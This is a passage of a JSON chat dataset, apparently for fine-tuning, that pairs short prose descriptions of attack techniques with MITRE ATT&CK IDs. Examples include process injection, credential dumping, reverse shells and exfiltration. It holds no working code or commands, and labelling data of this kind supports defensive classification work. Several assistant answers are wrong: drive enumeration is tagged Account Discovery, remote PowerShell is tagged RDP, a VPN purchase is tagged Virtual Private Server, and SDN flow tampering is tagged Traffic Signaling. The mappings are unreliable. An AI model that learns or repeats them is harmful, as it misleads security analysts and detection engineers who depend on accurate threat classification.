                "content": "An attacker gains access to a workstation via an exploited vulnerability in a browser and then uses built-in system tools to conduct lateral movement within the network."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queues a malicious payload using the Windows API QueueUserAPC to inject code into a target process's thread."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a bulk SNMP query to download the device's configuration repository for analysis."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses BITS to bypass firewall restrictions by using HTTP GET requests to retrieve encrypted shells."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilizes the Control Panel system binary as a proxy to execute a PowerShell payload with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor sets up a reverse shell over the ARP protocol, allowing remote execution of commands without generating standard IP payloads."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a malicious macro to delete user profiles, causing loss of personalization data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a keylogger that records all typed commands in a terminal session and exfiltrates the logs via encrypted FTP."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware is dropped via a web page that contains an obfuscated script which reconstructs a binary from HTML comments."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant exfiltrates data by invoking a webhook API of a CI/CD service with the stolen artifacts."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages SDN controller APIs to alter flow rules, steering victim traffic to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker injects a command into the user's .profile to execute a malicious script automatically at boot."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage compromised OAuth tokens to gain unauthorized access to a user's LinkedIn profile."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries place a malicious script in the AllUsersAllHosts profile so that it executes each time any PowerShell instance starts on the system."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro deletes the Mark‑of‑the‑Web metadata from a Word document before execution, effectively bypassing trust controls."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors break up large configuration files into multiple 200 KB uploads to bypass size‑based detection rules."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware removes its own files and system artifacts to hide its presence after execution."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker captures securityd's process memory, harvesting credentials stored in the system's password vault."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using remote PowerShell, the threat actor runs a script on a domain controller to harvest credentials and move laterally."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploited a weak SFTP password to infiltrate a file transfer server and upload ransomware."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uploads a compromised Docker image to a shared container registry, which later gets pulled and runs malware on the host system."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool enumerates AWS IAM roles attached to groups by calling iam:GetGroup."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor searches Bing for \"site:example.com\" combined with \"admin\" to find hidden administration pages."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dropped on the network performed low-level disk writes that corrupted the MBR, rendering the disks unreadable and destroying data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the at command, the threat actor schedules a script to exfiltrate data to an external server at 3:30 AM."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses automated tools to attempt the same weak password across thousands of usernames to bypass account lockout thresholds."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code adds a local account with a default password to maintain access after system updates."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker provisions a Google Cloud Compute Engine instance after obtaining a valid OAuth token."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker enumerates all connected peripherals, such as printers and scanners, by querying the operating system's hardware inventory APIs."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan hijacks the Outlook COM add‑in interface to programmatically copy emails to a hidden folder."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal registers a compromised IoT device to a victim’s corporate account, allowing lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Manipulating the KernelCallbackTable is used to gain kernel-level execution by redirecting callback pointers to payloads."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the legitimate control.exe process, the intruder runs a command line that spawns a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the victim's mail profile to include a rule that sends each new email to a remote email address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses BloodHound to collect domain group membership data for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group buys a low‑cost virtual private network service to obscure their traffic during operations."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs OS credential dumping by pulling the shadow file and the passwd file from the target host."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware disables Gatekeeper by altering the com.apple.quarantine extended attribute on malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a file copy operation that preserves the original Mark-of-the-Web metadata, but then replaces that metadata with a safe zone value to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use PowerShell to stop the Windows Defender Antivirus service, reducing the host's defensive capabilities."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replays a previously captured Kerberos ticket to gain access to network resources."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor harvests session cookies via XSS and then uses those cookies to perform actions on behalf of the victim."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group leverages serverless compute to host encrypted command‑and‑control traffic, evading network detection."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor inserts an encrypted shellcode segment into a legitimate PDF, which is launched via a vulnerable PDF reader."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin access, the attacker harvests SSL/TLS certificates from a web server and uses them to impersonate legitimate services."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker hijacks a running Kubernetes pod and executes arbitrary commands via kubectl exec."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a PowerShell script to call the BitBlt API and take screenshots of the user’s desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider at a component manufacturer inserts a backdoor into printed circuit boards before shipment, enabling future exploitation of deployed devices."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses mshta to load a remote script via the ms-xml:urn:schemas-microsoft-com:asm.v1 protocol, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code harvests PDF reports from the Documents directory and prepares them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfigured security group to directly connect to a cloud-hosted Linux VM using VNC."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code duplicates a web server's token to run a reverse shell under that context."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder changed the security group rules in a cloud environment to permit inbound SSH from any IP address."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited a known Confluence plugin vulnerability to execute a script that pulled confidential meeting notes from the wiki database."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through social engineering, the adversary convinced an employee to authorize a new cloud account, granting the attacker admin privileges."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracted TLS client certificates from the system's key store and used them to authenticate to internal services."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers reverse‑engineer a known vulnerability to create a custom exploit for use in subsequent campaigns."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the server's DNS configuration to redirect traffic to a malicious-controlled server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the System Binary Proxy Execution technique by calling regsvcs.exe to load a rogue assembly stored in the temp directory."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a USB dongle to deliver a payload that establishes a covert channel for data exfiltration from an air‑gapped system."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Insert malware into a system through an infected software package"
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts metadata from publicly shared PDFs and presentations to uncover internal naming conventions and document structures."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage tool installs a kernel driver that records every key press on the victim's machine for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining user credentials, the threat actor copies an unencrypted PEM-encoded private key from a developer's home directory and uploads it to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a fraudulent root CA certificate into the Android trusted credentials, causing the device to trust malicious Wi‑Fi portals."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware updates the authorized_keys file with a hard‑coded attacker key to ensure persistence."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a WMI query \"Select * from Win32_Process\" to retrieve process details."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor’s tool examines the system's locale settings and will only execute its core functions on machines configured for a specific language."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using sudo, the attacker flushes iptables rules, removing all firewall protections."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a tool that reuses active RDP tokens, the attacker assumes the identity of a logged‑in user and gains privileged access."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder calls the Windows API GetLogicalDriveStrings to list all mounted drives."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool creates an invisible window that periodically checks for network connectivity before initiating data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary injects malicious ARP packets that associate the attacker’s MAC address with the IP address of the default router."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder forges a digital signing certificate to trick software update mechanisms."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker manipulates the service registry keys under HKLM\\System\\CurrentControlSet\\Services to persist code."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a rogue DC that pretends to be the primary domain controller, causing machines to authenticate against it and leak password hashes."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators deliver a malicious certificate via a compromised installer, then register it with certutil to bypass security controls."
            },
            {
                "role": "assistant",
